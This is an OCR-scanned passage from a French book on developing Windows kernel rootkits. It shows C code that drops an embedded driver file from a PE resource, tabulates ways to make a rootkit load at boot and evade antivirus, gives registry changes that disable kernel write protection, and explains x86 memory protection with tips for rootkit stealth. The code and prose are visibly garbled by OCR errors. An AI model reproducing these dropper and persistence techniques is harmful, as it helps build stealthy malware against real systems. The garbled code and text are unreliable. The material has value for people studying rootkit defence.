Par exemple, un tel executable pourrait contend a la fois un fichier .sys et un fichier de 
configuration avec des parametres de demarrage pour le rootkit. Un attaquant 
ingenieux pourrait meme creer un utilitaire qui definit des options de configuration "a 
la volee" avant de tirer parii d’un exploit avec le rootkit. 

L’ exemple suivant illustre comment acceder a une ressource nommee dans un fichier 
PE et realiser ensuite une copie de cette ressource sous la forme d’un fichier sur le 
disque dur. Malgre l’emploi du terme "decompress" dans le code, sachez que 
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le fichier est simplement extrait et pas veritablement decompresse puisqu’il n’a pas ete 
compresse. 

// 

// Build d'un fichier .sys sur disque a partir d'une ressource 

// 

bool _util_decompress_sysfile(char *theResourceName) 

I 

HRSRC aResourceH; 

HGLOBAL aResourceHGlobal; 
unsigned char * aFilePtr; 
unsigned long aFileSize; 

HANDLE file_handle; 

L’appel API de FindResource subsequent sert a obtenir un handle sur le fichier 
imbrique. Une ressource possede un type, ici BINARY, et un nom : 

////////////////////////////////////////////////////////////// 

III 

// Localise une ressource nommee dans le fichier .EXE courant 
//////////////////////////////////////////////////////// 
///////// aResourceH = FindResource(NULL, theResourceName, "BINARY"); 
if ( ! aResourceH) 

{ 

return false; 

} 

L’etape suivante consiste a invoquer LoadResource qui retoume un handle que nous 
utiliserons dans des appels subsequents : 

aResourceHGlobal = LoadResource(NULL, aResourceH); if (! aResourceHGlobal) 

{ 

return false; 


En invoquant SizeOf Resource, nous obtenons la longueur du fichier imbrique : 

aFileSize = SizeofResource(NULL, aResourceH); 

aFilePtr = (unsigned char *)LockResource(aResourceHGlobal); 

if ( ! aFilePtr) 

{ 

return false; 

} 

La boucle suivante copie simplement le fichier imbrique dans un fichier sur le disque 
dur, en utilisant le nom de la ressource comme nom de fichier. En supposant 
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que la ressource se nomme "test", le fichier resultant s’ appellerait Test. sys. Ainsi, 
une ressource imbriquee peut devenir un driver : 

char _filename[64] ; 

snprintf (_filename, 62, "%s.sys", theResourceName) ; 
file_handle = CreateFileffilename, 

FILE_ALL_ACCESS, 

0 , 

NULL, 

CREATE_ALWAYS, 

0 , 

NULL); 

if (INVALID_HANDLE_VALUE == file_handle) 

{ 

int err = GetLastErrorQ; 

if ( (ERROR_ALREADY_EXISTS == err) || (32 == err)) 

{ 

// Pas d ' inquietude, le fichier existe et 

// peut etre verrouille en raison de l'executable. 

return true; 

> 

printf("%s decompress error %d\n", _filename, err); 
return false; 

} 

// Boucle while pour ecrire la ressource sur disque while(aFileSize--) 

{ 

unsigned long numWritten; 

WriteFile(file_handle, aFilePtr, 1, &numWritten, NULL); aFilePtr++; 

} 

CloseHandle(file_handle); return true; 

} 

Apres qu’un fichier . sys a ete decompresse sur disque, il peut etre charge a l’aide 
d’une des deux methodes de chargement de rootkit vues precedemment. Nous allons 
maintenant aborder quelques strategies permettant de charger un rootkit lors du 
demarrage. 
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Comment survivre a la reinitialisation 

Le driver du rootkit doit etre charge lors du demarrage du systeme. De maniere 
generale, de nombreux composants logiciels doivent etre charges a ce moment. Des 
lors que le rootkit est lie a un des evenements listes au Tableau 2.2, il sera charge. 

Tableau 2.2 : Quelques approches pour charger un rootkit au demarrage 


Emploi de la cle de registre Run La cle Run (et ses derives) peut etre utilisee pour 

charger n’importe quel programme lors du 
demarrage. Ce programme peut decompresser le 
rootkit et le charger. Tous les scanners de virus 
verifient cette cle, aussi cette approche est-elle tres 
risquee. Une fois charge, le rootkit peut toutefois 
dissimuler la valeur de cle afin de ne pas etre 
detecte. 

Emploi d’un cheval de Troie N’importe quel tichier . sys oil executable devant 

oil d’lin tichier infecte etre charge au demarrage peut etre remplace, ou 

bien le code de chargement peut-il etre insere de la 
meme maniere qu’iin virus infecte un tichier. 
Ironiquement, les antivims et produits de securite 
font partie des cibles ideales. Un produit de securite 
demarre typiquement en meme temps que le 
systeme. Une DLL troyenne pourrait etre inseree 
dans le chemin de recherche, ou bien une DLL 
existante pourrait-elle simplement etre remplacee 
ou infectee. 

Emploi de fichier . ini Les fichiers . ini peuvent etre modifies pour que 

des programmes soient executes. De nombreux 
programmes possedent des fichiers d’initialisation 
qui peuvent executer des commandes au demarrage 
ou specifier des DLL a charger. Un tel fichier est 
win. ini. 

Enregistrement en tant que driver Le rootkit peut s’enregistrer lui-meme en tant de 

driver charge au demarrage, ce qui implique la 
creation d’une cle de registre. La encore, la cle peut 
etre dissimulee une fois le rootkit charge. 
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Tableau 2.2 : Quelques approches pour charger un rootkit au demarrage (suite) 

Une des approches preferees des logiciels espions 
(spyware) consiste a ajouter une extension a une 
application de navigation Web (par exemple sous la 
forme d’une barre d'outils) qui sera chargee en 
meme temps que cette demiere. Cette methode 
requiert que l’application soit lancee mais, s’il y a 
de fortes de chances que cela se produise avant que 
le rootkit ne doive etre active, il s’agit d’une 
approche efficace. L’inconvenient est qu’il existe 
de nombreux scanners d’adwares capables de 
detecter de telles extensions. 

Modification du noyau sur disque Le noyau peut directement etre modifie et 

enregistre sur disque. D suffit de quelques 
changements apportes au boot -loader pour que 
le controle d'integrite par total de controle 
(i checksum) du noyau reussisse. Cette methode peut 
etre tres efficace puisque le noyau est modifie de 
(aeon permanente et aucun driver ne doit etre 
enregistre. 

Modification du boot-loader Le boot-loader peut etre modifie pour appliquer 

des patchs au noyau avant qu’il ne soit charge. 

Un avantage est que le noyau semblera intact si le 
systeme est analyse hors ligne. L’inconvenient est 
qu’une telle modification peut etre detectee avec 
les outils appropries. 


Enregistrement en tant que add-on pour 
une application existante 


Cette liste n’est en aucun cas exhaustive, et il existe de nombreuses autres methodes de 
chargement au demarrage. Avec un peu de creativite et de temps, vous devriez pouvoir 
en decouvrir d’ autres. 

En conclusion 

Ce chapitre a convert les notions fondamentales du developpement de drivers pour 
Windows. Nous avons decrit certaines des zones cles du noyau pouvant etre ciblees. 
Nous avons explique en detail comment configurer f environnenrent de developpement 
et les outils requis pour faciliter Elaboration du rootkit. Nous avons expose les 
exigences de base liees au chargement, au dechargenrent et au lancement d’un 
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driver. Et nous avons evoque les methodes de deployment d’un driver et comment le 
charger au demarrage du systeme. 

Les sujets traites dans ce chapitre sont essentiels afin de pouvoir ecrire des root- kits 
pour Windows. A ce stade, vous devriez etre capable d’ecrire un simple rootkit "Hello 
World!", le charger dans le noyau et le decharger. Vous devriez aussi pouvoir ecrire un 
programme en mode utilisateur pouvant communiquer avec un driver en mode noyau. 

Dans les chapitres suivants, nous explorerons plus avant les rouages du noyau et le 
materiel sous-jacent qui soutient tous les programmes. En comment ant par les 
structures de has niveau, vous acquerrez la comprehension correcte qui vous permettra 
d’assimiler et de synthetiser les connaissances relatives aux elements des niveaux 
superieurs. C’est ainsi que vous deviendrez un maitre des rootkits. 




3 


Le niveau materiel 


Un anneau pour les gouverner tous, un anneau pour les trouver, un 
anneau pour les amener tous et dans les tenebres les Her. 

- Le Seigneur des Anneawc, J. R. R. Tolkien 


Le logiciel et le materiel operent de conserve. Le second sans le premier ne serait que 
de la silicone sans vie, et le premier ne peut exister seul. Le logiciel sert a piloter 
l’ordinateur, nrais c’est le materiel qui en sous-tend 1’ implementation. 

Le materiel forme de plus 1’ ultimo renrpart protegeant le logiciel, une cuirasse sans 
laquelle celui-ci serait totalement vulnerable. Beaucoup de textes ont traite du 
developpement logiciel sans toutefois jamais aborder le niveau materiel. Ceci est 
acceptable dans le cas d’ applications d’entreprise, nrais pas envisageable pour un 
developpeur de rootkits qui doit se confronter a des problemes divers, tels que faire 
usage de retro-ingenierie, programmer en langage assembleur et comprendre les 
nrecanismes d’attaques hautenrent techniques. Une bonne comprehension du niveau 
materiel vous aidera a faire face a ces difficulties. Dans les prochains chapitres, vous 
rencontrerez des concepts et des exemples de code qui supposent une comprehension 
fondamentale de ce niveau. Nous vous encourageons done a lire le present chapitre 
avant de poursuivre. 
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Au final, tous les controles d’acces sont implements au niveau materiel. Par exempt, 
le principe de separation des processus est applique au moyen d’anneaux dans 
f architecture du microprocesseur Intel x86. Si les processeurs Intel ne possedaient pas 
de mecanismes de controle d’acces a la memoire, ce serait considerer tous les logiciels 
actifs sur un systeme comme etant fiables. Un programme fautif qui planterait, par 
exempt, aurait alors le potentiel d’entrainer dans sa chute tout le systeme. Tout 
programme pourrait aussi acceder en lecture/ecriture au materiel ou a n’importe quel 
fichier ou meme modifier fespace memoire d’un autre processus. Ce sont des 
problemes qui peuvent meme vous sembler familiers, n’est-ce pas ? Meme si les 
processeurs Intel etaient deja dotes depuis de nombreuses annees de fonctionnalites de 
securite, Microsoft n’en a pas tire parti avant f introduction de son systeme 
d’ exploitation Windows NT. 

Dans ce chapitre, nous etudierons les mecanismes materiels qui sous-tendent la 
securite des acces memoire dans l’environnement Windows. Nous commencerons par 
les mecanismes de controle d’acces disponibles dans la famille de processeurs x86. 
Nous verrons ensuite de quelle maniere ceux-ci gerent 1’ ensemble des activites au 
moyen de tables de reference. Nous traiterons egalement des registres de controle et, 
plus yimportant encore, de la fag on dont les pages memoire fonctionnent. 

Anneau zero 

La famille de CPU x86 d’Intel emploie un concept d 'anneaux pour assurer le controle 
des acces a la memoire, numerates de 0 a 3, ou le numero le plus faible confere les 
droits les plus eleves. Ces anneaux sont representes en interne par un nombre car les 
processeurs ne possedent pas reellement d’anneaux physiques. 

Tout le code du noyau Windows opere dans T anneau 0. Par consequent, les rootkits en 
mode noyau sont aussi actifs a ce niveau. Les programmes en mode utilisateur, c’est-a- 
dire ne s’ executant pas dans le noyau (tel votre tableur prefere), sont dits fonctionner 
dans T anneau 3. Beaucoup de systemes d’ exploitation toumant sur les processeurs 
x86, y compris Windows et Linux, ne tirent parti que des anneaux 0 et 3 et 
n’emploient done pas les anneaux 1 et 2 1 . 

Le processeur se charge de suivre le niveau de privilege accorde a chaque programme 
et a la memoire associee et de faire respecter les restrictions d’acces 


1 . Bien que les anneaux 1 et 2 puissent etre utilises, I’architecture du systeme Windows ne les requiert pas. 
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inter-anneaux. Chaque programme regoit en principe un numero d’anneau et ne peut 
acceder a un anneau de niveau inferieur. En 1’ occurrence, un programme d’anneau 3 
ne pourra acceder aux elements d’un programme d’anneau 0. En cas de tentative 
d’acces non conforme, le processeur genere une interruption et, dans la plupart des cas, 
l’acces est interdit par le systeme d’ exploitation. La tentative pourra meme resulter en 
la fermeture du programme fautif. 

Sous le capot, il existe une certaine quantite de code pour assurer ce controle. II y a 
aussi du code qui autorise un programme a acceder a des elements d’un anneau 
inferieur dans des circonstances particulieres. Par exemple, le chargement d’un driver 
d’imprimante dans le noyau necessite qu’un programme administrateur (d’anneau 3) 
puisse acceder aux drivers deja charges (d’anneau 0). Done, une fois charge, un driver 
ou un rootkit peut s’executer dans l’anneau 0 en etant libere des restrictions d’acces. 

De nombreux outils aptes a detecter les rootkits sont actifs en tant que programmes 
d’ administrateur d’anneau 3. Un developpeur de rootkit doit comprendre comment 
tirer parti du niveau de privileges superieur dont beneficiera son rootkit par rapport a 
l’outil de 1’ administrateur. Le rootkit peut, par exemple, utiliser cette caracteristique 
pour tenter d’echapper a l’outil ou de le rendre inoperant. De plus, un rootkit est 
generalement installe au moyen d’un petit programme de chargement, ou loader 
(introduit au Chapitre 2), fonctionnant avec des droits d’anneau 3. Pour pouvoir 
charger le rootkit dans le noyau, le chargeur emploie une fonction speciale qui lui 
permet d’acceder a l’anneau 0. 

La Ligure 3.1 illustre le concept d’anneaux de 1’ architecture x86 d’ Intel et les niveaux 
d’ execution des programmes en mode utilisateur ou noyau. 


Figure 3.1 

Les anneaux des 
processeurs 
Intel x86. 
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Outre les restrictions d’acces a la memoire, il existe d’autres fonctions de securite et 
certaines instructions privilegiees ne peuvent etre utilisees que dans l’anneau 0. Elies 
servent generalement a modifier le comportement du processeur ou pour acceder 
directement au materiel. C’est le cas, par exemple, des instructions x86 suivantes : 

■ cli . Stoppe le traitement des interruptions (pour le processeur en cours). 

■ sti. Demarre le traitement des interruptions (pour le processeur en cours). s 
IN. Lit des donnees depuis un port materiel. 

B out. Ecrit des donnees vers un port materiel. 

Le fonctionnement d’un rootkit dans l’anneau 0 procure de nombreux avantages en 
terme de fonctionnalites. Un tel rootkit peut manipuler le materiel mais aussi 
l’environnement dans lequel les autres programmes fonctionnent, ce qui est essentiel 
pour preserver sa furtivite. 

Maintenant que vous savez comment un processeur assure le controle des acces a la 
memoire, examinons comment il gere certaines donnees importantes. 

De I'importance des tables 

Outre la gestion des anneaux, le processeur est aussi responsable de nombreuses autres 
activites. Par exemple, il doit decider de ce qu’il faut faire lorsqu’une interruption est 
ernise, lorsqu’un programme plante, lorsqu’un composant materiel se manifeste, 
lorsqu’un programme utilisateur tente de communiquer avec le programme du noyau 
ou lors du changement de contexte d’un thread pour un programme multithread. 
Certes, le code du systeme d’ exploitation se charge de telles activites, mais le 
processeur les traite toujours en premier. 

Pour chaque evenement important, le processeur doit determiner la routine en charge. 
Puisque chaque routine est active en memoire, le processeur doit connaitre son adresse 
ou, plutot, savoir comment la trouver. Puisqu’il ne peut conserver toutes les adresses 
de routines en interne, il doit se les procurer ailleurs. Il emploie a cette fin des tables 
d’ adresses. Lorsqu’un evenement se produit, telle une interruption, il recherche 
l’evenement dans une table de reference et trouve l’adresse de la routine, ou 
gestionnaire, chargee de son traitement. La seule information dont le 
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processeur a besoin pour effectuer cette recherche est l’adresse de base de chaque table 
en memoire. 

II existe plusieurs tables importantes : 

H la table globale de descripteurs, ou GDT ( Global Descriptor Table), pour le 
mapping (raise en correspondance) d’adresses ; 

a les tables locales de descripteurs, ou LDT ( Local Descriptor Table), pour le mapping 
d’adresses ; 

■ le repertoire de (tables de) pages memoire {Page Directory), pour le mapping 
d’adresses ; 

B la table de descripteurs d’ interruptions, ou IDT ( Interrupt Descriptor Table), pour 
localiser les gestionnaires d’ interruptions. 

Outre ces tables, il existe d’autres tables gerees directement par le systeme 
d’ exploitation. Etant donne qu’elles ne sont pas directement supportees par le 
processeur, le systeme d’ exploitation fait appel a des fonctions speciales pour les 
gerer. Une table importante est par exemplela table de distribution des services 
systeme, ou SSDT {System Service Dispatch Table), que Windows utilise pour traiter 
les appels systeme. 

Ces tables sont employees de diverses fagons que nous aurons Toccasion d’explorer 
dans les sections suivantes. Nous verrons aussi de quelle fag on un developpeur de 
rootkit peut les modifier pour preserver sa furtivite ou intercepter des donnees. 

Pages memoire 

Tout Tespace memoire est divise en pages, a Tinstar d’un livre. Chaque page ne peut 
contenir qu’un certain nombre de caracteres. Chaque processus utilise une table 
distincte pour localiser ces pages memoire. 

Imaginez que la memoire soit comme une bibliotheque geante ou chaque processus 
possede son propre catalogue de reference, une table particuliere qui lui donne une 
"vue" de la memoire unique et differente de celle de chaque autre processus. Ainsi, 
deux processus peuvent lire une meme adresse dite virtuelle, par exemple 0x00401122, 
et obtenir des valeurs differentes situees a des adresses physiques differentes. 
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Les pages memoire font l’objet d’un controle d’acces. En poursuivant avec la meme 
analogie, imaginez que le processeur soit un bibliothecaire autoritaire qui autorise 
chaque processus a ne lire que quelques livres de la bibliotheque. Pour lire ou ecrire 
dans une portion de la memoire, un processus doit d’abord trouver le "livre" correct, 
puis la "page" exacte de la portion en question. Si le processeur n’approuve pas le livre 
ou la page demandes, l’acces est refuse. 

La procedure de recherche d’une page est longue et complexe, et un controle d’acces 
est applique aux differentes etapes de la procedure. Le processeur verifie si un 
processus peut acceder a un certain livre (le controle du descripteur), s’il peut acceder 
a un certain chapitre (le controle du repertoire de pages ) et finalement s’il peut 
acceder a une certaine page du chapitre (le controle de page). 

Un processus devra passer tous ces controles de securite avant d’etre autorise a acceder 
a une page memoire et, meme s’il y parvient, la page peut aussi etre marquee en 
lecture seule. Le processus pourra alors lire la page, mais pas y ecrire. C’est de cette 
maniere que l’integrite des donnees est preservee. 

Les developpeurs de rootkit se comportent tels des vandales dans la bibliotheque, 
gribouillant partout. II est done important d’approfondir vos connaissances sur 
f alteration des mecanismes de controle d’acces. 


Les coulisses du controle d'acces 

Lors de faeces a une page memoire, un processeur x86 realise les controles 

suivants : 

H Controle de descripteur (ou de segment ). II conceme faeces a la table GDT et le 
controle du descripteur de segment. Le descripteur contient une valeur indiquant le 
niveau de privileges, le DPL {Descriptor Privilege Level). Cette valeur represente 
le numero d’anneau (de 0 a 3) requis par le processus demandeur. Si le niveau 
demande est inferieur au niveau d’anneau actuel du processus - appele parfois le 
niveau de privileges actuel, ou CPL {Current Privilege Level) -, faeces est refuse 
et le controle s’arrete la. 

s Controle de repertoire de pages. Un bit utilisateur/superviseur sert au controle 
d’une table de pages entiere, e’est-a-dire de toute une plage de pages memoire. Si 
le bit est a 0, seuls des programmes de niveau "superviseur" (des anneaux 0, 
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1 et 2) peuvent acceder a la plage memoire concemee. Si le processus appelant 
n’ est pas de ce niveau, le controle s’ arrete. Si le bit est a 1 , tout programme peut 
acceder a la plage concemee. 

B Controle de page. Ce controle est effectue pour une seule page memoire et 
intervient si le controle de repertoire a reussi. A 1’ instar de ce dernier, un bit 
utilisateur/superviseur ayant la meme signification est associe a chaque page. 

Un processus peut acceder a une page memoire que s’il passe tous les controles sans 
rencontrer de refus. 

La famille de systemes d’ exploitation Windows n’emploie pas vraiment le controle de 
descripteur. Au lieu de cela, le systeme s’appuie uniquement sur les anneaux 0 et 3, 
respectivement appeles parfois mode noyau et mode utilisateur. Ceci permet au bit 
utilisateur/superviseur de controle de table de pages d’effectuer seul le controle 
d’acces. Les programmes en mode noyau, d’anneau 0, peuvent toujours acceder a la 
memoire alors que ceux d’anneau 3 ne pourront acceder qu’aux pages marquees 
"utilisateur". 

La Figure 3.2 illustre un dump de la GDT (dans Soflce) dans Windows 2000. On y 
voit le niveau de privilege (DPL) de chaque entree. Les quatre premieres entrees (08, 
10, IB et 23) englobent la totalite de la plage memoire pour les donnees et le code et 
pour les programmes des anneaux 0 et 3. Le resultat est que la GDT ne foumit ici 
aucune securite pour le systeme. La securite doit etre appliquee "en aval" dans les 
tables de pages. Pour comprendre cela dans le detail, vous devez d’abord apprendre 
comment une adresse de memoire virtuelle est traduite en adresse physique. Ce sera 
l’objet de la prochaine section. 
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Figure 3.2 

La GDT sous Windows 2000. 



70 Rootkits 


Infiltrations du noyau Windows 


Pagination memoire et traduction d'adresse 

Le mecanisme de protection de la memoire n’est pas utilise que pour la securite. La 
plupart des systemes d’ exploitation actuels emploient le concept de memoire virtuelle. 
Ceci permet a chaque programme actif d’avoir son propre espace d’adressage, d’une 
part, et de pouvoir disposer d’un espace memoire superieur a la memoire physique, ou 
RAM, disponible, d’autre part. Par exemple, un ordinateur avec 256 Mo de RAM ne 
limitera pas chaque programme a seulement 256 Mo de memoire. Un programme peut 
facilement utiliser 1 Go de memoire s’il le souhaite : la memoire supplemental est 
simplement stockee sur disque dans un fichier appele fichier d’echange (swop file) ou 
fichier de pagination (paging file). Grace a la memoire virtuelle, plusieurs processus 
peuvent continuer a s’executer simultanement, chacun avec son propre espace 
d’adressage, meme lorsque la memoire totale consommee excede la quantite de RAM 
installee. 

Les pages de memoire peuvent etre marquees comme ayant ete "paginees" vers le 
disque {page out), c’est-a-dire deplacees de la memoire vive vers le fichier d’echange 
sur disque. Lorsqu’une de ces pages est demandee par un processus, une interruption 
se produit. Le gestionnaire d’ interruption se charge alors de lire la page pour la 
replacer en memoire (page in). Dans la plupart des systemes, seul un faible 
pourcentage de la memoire physique totale est autorise a etre pagine sur disque a 
quelque moment que ce soit. Un ordinateur ne possedant que peu de RAM aura un 
gros fichier de pagination qui fera l’objet de nombreux acces en lecture et ecriture. A 
l’inverse, davantage de RAM signifie moins d’ acces au fichier. 

Lorsqu’un processus souhaite acceder a une page memoire, il doit en specifier 
l’adresse virtuelle, qui doit etre traduite en adresse physique. C’est une etape 
importante car l’adresse utilisee par le processus n’est pas la meme que l’adresse 
reelle de f emplacement memoire ou sont stockees les donnees. Une routine de 
traduction est chargee de cette operation. 

Par exemple, imaginez que Notepad.exe souhaite obtenir un contenu en memoire situe 
a L adresse virtuelle 0x0041 ffi©, comme lors d’une instruction mov eax., 0x0041 FF10. 
Cette adresse pourrait, par exemple, etre traduite en adresse physique 
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0 x 01 EE2F10 et c’est la valeur residant sur cet emplacement qui sera placee dans le 
registre eax (voir Figure 3.3). 



Figure 3.3 

Traduction d'adresse pour une instruction mov. 


Recherche dans une table de pages memoire 

La traduction d’adresses virtuelles est geree au moyen d’une table speciale appelee 
repertoire de tables de pages, ou repertoire de pages. Un processeur x86 Intel 
conserve dans un registre special appele crb un pointeur vers ce repertoire. II s’agit 
d’un tableau (array) de 1 024 entrees de 32 bits. Chacune de ces entrees represente 
l’adresse de base d’une table de pages et contient un bit de statut indi quant si la table 
est presente ou non en memoire physique. Ce sera a partir d’une telle table qu’une 
adresse physique de page peut etre obtenue (voir Figure 3.4). 

La Figure 3.4 illustre les differentes structures qui sont utilisees lors de la recherche 
d’une adresse physique. L’adresse virtuelle specifiee est divisee en trois parties, 
chacune contenant un index de positionnement dans la structure qui est lue. La Figure 
3.5 illustre le role de ces parties. 
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Figure 3.4 

Trouver une page dans la memoire. 
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Figure 3.5 

Les differentes parties d'une adresse virtuelle 1 . 


1. Si la page est marquee en tant que page de 4 Mo, les bits 22-31 specifier^ l’adresse de base de la page 
physique, et les bits 0-21 indiquent l’offset au sein de la page. 
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Les etapes suivantes sont realisees par le systeme d’ exploitation et le processeur lors 
de la traduction d’une adresse virtuelle en adresse physique : 

H Le processeur consulte le registre CR3 pour trouver 1’ adresse de base du repertoire de 
tables de pages. 

■ L’ adresse virtuelle est divisee en trois parties, conmie nous l’avons vu a la Figure 
3.5. 

S Les 10 demiers bits (de poids fort) sont utilises pour trouver F entree de repertoire de 
tables de pages voulue (voir Figure 3.4). 

H L’ entree de repertoire lue donne F emplacement de la table de pages requise en 
memoire. 

B Les 10 bits de la portion centrale de F adresse virtuelle sont utilises pour trouver 
Fentree voulue dans la table de pages (voir Figure 3.4). 

» L’entree de la table de pages donne Femplacement physique de la page recherchee, 
parfois appele Page-Frame ou PFN (Page Frame Number). 

■ Les 12 premiers bits (de poids faible) de Fadresse virtuelle servent ensuite d’offset 
dans la page pour localiser Fadresse contenant les donnees voulues. L’ offset peut 
atteindre 4 096 octets. 

Comrne vous avez pu le constater, la traduction d’une adresse virtuelle en adresse 
physique est complexe et necessite a chaque etape qu’un element d’information soit 
recherche dans une table. Toutes ces donnees pourraient etre modifiees ou utilisees par 
un rootkit. 

Les entrees du repertoire de pages 

Comrne nous l’avons dit precedemment, le registre CR3 renvoie vers Fadresse de base 
du repertoire de pages memoire, et ce repertoire est un tableau de 1 024 entrees, ou 
PDE (Page Directory Entry), dont la structure est illustree a la Figure 3.6. Lors de la 
lecture d’une entree, le bit U (bit 2) est verifie. S’il est a 0, cela signifie que la table de 
pages en question est reservee au noyau. 

Le bit W (bit 1) est aussi controle. S’il est a 0, la memoire est en lecture seule (par 
opposition a lecture/ecriture). N’oubliez pas qu’une entree du repertoire renvoie a une 
table entiere, c’est-a-dire referengant plusieurs pages. La valeur des differents bits 
s’ applique done a un ensemble de pages. 

Notez que le programme qui consulte le repertoire doit etre execute dans l’anneau 0. 
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Figure 3.6 

Une entree du repertoire de pages. 


L'entree d'une table de pages 

L’entree d’une table de pages (voir Figure 3.7) ne conceme qu’une seule page 
memoire. Ici aussi, le bit U sera controle et, s’il est a 0, la page n’est accessible que 
par un programme en noyau. Le bit W sert aussi a verifier si Faeces doit etre en 
lecture seule. Le bit P (bit 0) a egalement son importance. S’il est a 0, la page a ete 
transferee sur disque, et, s’il est a 1, elle est residente et disponible. Si la page est sur 
disque, le gestionnaire de memoire doit d’abord la lire pour la replacer en memoire 
vive. 
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Figure 3.7 

Une entree d'une table de pages 1 . 

Acces en lecture seule aux tables systeme 1 

Dans Windows XP et les versions au-dela, les pages memoire contenant la table de 
distribution des services systeme, ou SSDT, et celle des descripteurs d’ interruptions, 
ou IDT, sont marquees en lecture seule dans la table de pages. Si un attaquant 
souhaite modifier le contenu de ces pages, il doit d’abord les placer en 
lecture/ecriture. Pour un rootkit, la meilleure fag on de realiser cela est d’utiliser la 
technique CRO, qui est decrite plus loin dans ce chapitre. Toutefois, si vous souhaitiez 
placer ces tables en ecriture, vous pouvez le faire en modifiant le Registre. 

1. Le format d’une entree de table de pages peut differer selon le systeme d’ exploitation. 





Chapitre 3 


Le niveau materiel 75 


Pour desactiver la configuration prevue, changez les cles suivantes (la premiere de ces 
deux cles n’existant pas apres une installation XP initiale, vous devrez l’aj outer vous- 
meme) et redemarrez le systeme 1 : 

HKLM\SYSTEM\CurrentControlSet\Controi\Session Manager\Memory Management \ 

«>EnfonceWniteProtection = 0 

HKLM\SYSTEM\CunnentContnolSet\Control\Session Managen\Memory Management \ 

f «HDisablePagingExecutive = 1 

Bien sur, meme si ces cles ne sont pas changees, elles ne constituent pas une protection 
contre les rootkits puisqu’ils peuvent directement modifier les tables ou utiliser la 
technique CRU pour activer ou desactiver a la volee les restrictions d’acces. 

Multiples processus et repertoires de pages 

Theoriquement, un systeme d’ exploitation pourrait, avec un seul repertoire de pages, 
gerer plusieurs processus, la protection de leur espace d’adressage et le fichier de 
memoire paginee sur disque. Cependant, avec un seul repertoire de pages, il n’y aurait 
aussi qu’une table de reference de tables de pages pour la traduction des adresses 
virtuelles. Ceci signifierait que tous les processus auraient besoin de partager le meme 
espace d’adressage. Sous Windows NT72000/XP/2003, nous savons que chaque 
processus possede son propre espace. 

L’adresse de depart de la plupart des fielders executables est 0x00400000. Comment 
plusieurs processus peuvent-ils employer la meme adresse virtuelle sans qu’il y ait de 
collision en memoire physique ? Justement grace a 1’ emploi de plusieurs repertoires de 
pages. 

Chaque processus actif sur le systeme emploie un repertoire de pages distinct reference 
par une valeur unique dans le registre CR3. Ce qui signifie aussi que chacun d’entre eux 
beneficie d’un mapping de memoire virtuelle propre. Ainsi, deux processus peuvent 
acceder a une meme adresse virtuelle 0x00400000 qui, une fois traduite, donnera deux 
adresses physiques distinctes. C’est aussi la raison pour laquelle un processus ne peut 
"voir" la memoire d’un autre processus. 

Toutefois, meme si chaque processus possede sa table de pages unique, la memoire au- 
dessus de 0x7FFFFFFF est generalement mappee de maniere identique pour tous les 
processus. II s’agit de la plage reservee au noyau, et elle doit etre coherente 
independamment des processus executes. 


1 . Mes remerciements a Rob Beck pour cette information. 
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II faut savoir que, meme execute dans l’anneau 0, un processus possede un contexte 
actif Ce contexte inclut l’etat de la machine pour le processus (tels les registres 
sauvegardes), son environnement, son jeton de securite (security token), ainsi que 
d’autres parametres. Pour notre explication, l’element important de ce contexte est le 
registre CR3, qui renvoie au repertoire de pages. Un developpeur de rootkit peut tirer 
parti du fait que les modifications apportees aux tables de pages d’un processus 
influent non seulement sur le processus en mode utilisateur mais aussi sur le noyau a 
chaque fois que le processus se trouve en contexte, afin d’appliquer certaines 
techniques de furtivite avancees. 

Processus et threads 

Un developpeur de rootkit doit comprendre que le mecanisme qui permet de gerer le 
code execute est le thread et non le processus. Le noyau de Windows planifie les 
processus en se fondant sur le nombre de threads et non sur celui des processus. 
Imaginez par exemple deux processus, un monothread et un autre avec neuf threads, et 
que le systeme attribue a chaque thread 10 % du temps processeur. Le processus 
monothread recevra 10 % du temps et 1’ autre processus en recevra 90 %. Cet exemple 
n’est pas reel, bien sur, puisque d’autres facteurs, telle la priorite, sont aussi pris en 
compte lors de la planification d’execution ( scheduling ). Toujours est-il que, en 
supposant que tous les autres facteurs soient identiques, la planification se fonde 
entierement sur le nombre de threads et non sur celui des processus. 

Qu’est-ce qu’un processus ? Sous Windows, un processus est un moyen simple de 
grouper des threads pour qu’ils puissent partager les elements suivants : 

B l’espace d’adresses virtuelles (c’est-a-dire la valeur utilisee pour CR3) ; 

■ le jeton d’acces, dont le SID 1 ; 

■ la table de handles pour les objets Win32 du noyau ; 

H le contexte de travail (la memoire physique que "possede" le processus). 


1 . Un thread peut avoir son propre jeton d’acces qui, s’il est present, se substitue a celui du processus. 
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Les rootkits doivent travailler avec des threads et leurs structures, pour diverses 
raisons, dont la furtivite et l’injection de code. Plutot que creer de nouveaux processus, 
ils doivent creer de nouveaux threads et les assigner a un processus existant. II est rare 
qu’un nouveau processus soit cree. 

Lors d’un changement de contexte vers un nouveau thread, l’etat du thread precedent 
est memorise. Chaque thread possede sa propre pile de noyau sur laquelle est place son 
etat. Si le nouveau thread appartient a un autre processus, l’adresse du repertoire de 
pages du nouveau processus est chargee dans CR3. Elle peut etre obtenue dans la 
structure kprocess du processus. Lorsque la pile de noyau du nouveau thread est 
identifiee, le nouveau contexte est lu de la pile et le thread peut commencer son 
execution. Si un rootkit modifie les tables de pages du processus, les alterations 
s’ appliqueront a tous les threads du processus car ceux-ci partagent tous la meme 
valeur CR3. 

Nous examinerons plus en detail le sujet des threads et des processus au Chapitre 7. 

Les tables de descripteurs de memoire 

Certaines des tables que le processeur utilise peuvent contenir des descripteurs. II y a 
plusieurs types de descripteurs et ils peuvent etre inseres ou modifies par un rootkit. 


La table globale de descripteurs (GDT) 

Un certain nombre d’astuces peuvent etre implementees par 1’ intermediaire de la GDT. 
Celle-ci peut etre utilisee pour mapper, ou mettre en correspondance, differentes 
plages d’adresses. Elle peut aussi servir a provoquer des commutations de taches. 
L’adresse de base de la GDT peut etre obtenue a Taide de Tinstruction sgdt, ou vous 
pouvez changer son emplacement avec Tinstruction lgdt. 

Les tables locales de descripteurs (LDT) 

Une LDT permet a une tache d’avoir un jeu de descripteurs uniques. Un bit appele le 
bit indicateurde table peut servir a choisir entre la GDT ou la LDT lorsqu’un segment 
est specifie. La LDT peut contenir les memes types de descripteurs que la GDT. 



78 Root kits 


Infiltrations du noyau Windows 


Les segments de code 

Lors de faeces au segment du code, le processeur utilise la valeur specifiee dans le 
registre cs ( Code Segment). Un segment de code peut etre indique dans la table des 
descripteurs. Tout programme, rootkit inclus, peut modifier le registre cs en 
